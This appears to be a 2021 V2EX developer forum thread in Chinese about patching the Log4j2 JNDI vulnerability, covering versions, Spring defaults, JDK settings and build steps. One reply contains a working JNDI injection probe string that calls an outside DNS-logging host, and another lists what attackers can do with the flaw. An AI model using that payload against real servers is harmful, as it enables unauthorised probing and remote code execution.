log4j2 的漏洞大家今天晚上修复吗?

2021-12-10 00:16:50 +08:00
 Jooooooooo

没想到继 fastjson 之后还有这一出.

15150 次点击
所在节点    程序员
82 条回复
Imindzzz
2021-12-10 18:07:35 +08:00
${jndi:ldap://00pfh9.dnslog.cn}
sshang
2021-12-10 18:17:39 +08:00
@jamzhou 你复现注入执行的时候,是用的 log4j 的什么包
lhwarthas
2021-12-10 18:44:13 +08:00
源码编译步骤:
1.准备 JDK8 & JDK11 & maven
2.配置环境变量 export JAVA_HOME_8_X64=jdk8 目录 export JAVA_HOME_11_X64=jdk11 目录
3.源码目录下执行 mvn package -Dmaven.test.skip=true -DtrimStackTrace=false -Dmaven.test.failure.ignore=true -Dsurefire.rerunFailingTestsCount=1 --global-toolchains .github/workflows/maven-toolchains.xml
pocketz
2021-12-10 19:14:59 +08:00
@NULL2020
你报错信息是什么?我这边报错是远程 repo 里没有 log4j-api-java9 。

把源码里的 log4j-api-java9 添加到我本地的 repo 里,log4j-api 就编译成功了
donespeak
2021-12-10 20:02:25 +08:00
有人讲讲通过这个漏洞可以做什么样的吗?
whoosy
2021-12-10 20:23:34 +08:00
正在搞
Depth
2021-12-10 20:28:05 +08:00
@donespeak 远程命令执行,好点的远程下载木马,反弹 shell,坏点的,rm -r root 一下
yangyaofei
2021-12-10 20:55:00 +08:00
那个……如果是 linux 上,用一个很低的权限(只有 web 文件夹有读权限)的帐户运行程序,是不是就没事儿了?
zooo
2021-12-10 20:56:25 +08:00
@donespeak 大概就是攻击者想执行什么代码就可以执行什么代码
linvaux
2021-12-10 21:10:22 +08:00
@ericgui logback
wth4612
2021-12-10 21:14:19 +08:00
codehz
2021-12-10 21:22:59 +08:00
@yangyaofei 考虑下内网有没有别的服务(
比如数据库

还有就是即使啥权限没有,也能挖矿
SirCarol
2021-12-10 21:25:11 +08:00
今天修复了一天。
jamzhou
2021-12-10 21:34:25 +08:00
@sshang 我用的 2.14.1

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
movq
2021-12-10 21:52:59 +08:00
Spring 里面默认用的 logback+slf4j ,然后 log4j api 只是个 api ,log4j-to-slf4j 只是让调用 log4j 的代码不变,背后实际调用的是 slf4j 吧

总结下来就是 Spring 默认情况下不存在这个漏洞

@jamzhou
@aoizz
@aoizz
@play78
hallDrawnel
2021-12-10 23:20:07 +08:00
今天看隔壁修了一天,还好我们这边没 Java
ericFork
2021-12-10 23:42:43 +08:00
@hallDrawnel #76 依赖的基础设施如果有用到的话也一样要修的,比如 kafka, elasticsearch
hallDrawnel
2021-12-11 00:01:05 +08:00
@ericFork 是的,但是那个有其他团队负责修,我们只需要观察稳定性就行了
vincent956
2021-12-11 07:41:21 +08:00
@MonkeyJon springboot 自己引入的这个两个包,但是项目上没有使用,有影响吗
Kaiv2
2021-12-11 10:51:52 +08:00
高版本 JDK 不用太担心
com.sun.jndi.rmi.object.trustURLCodebase 这个参数没有设置为 true ,不会远程加载 class, 会抛出异常

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/821217

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX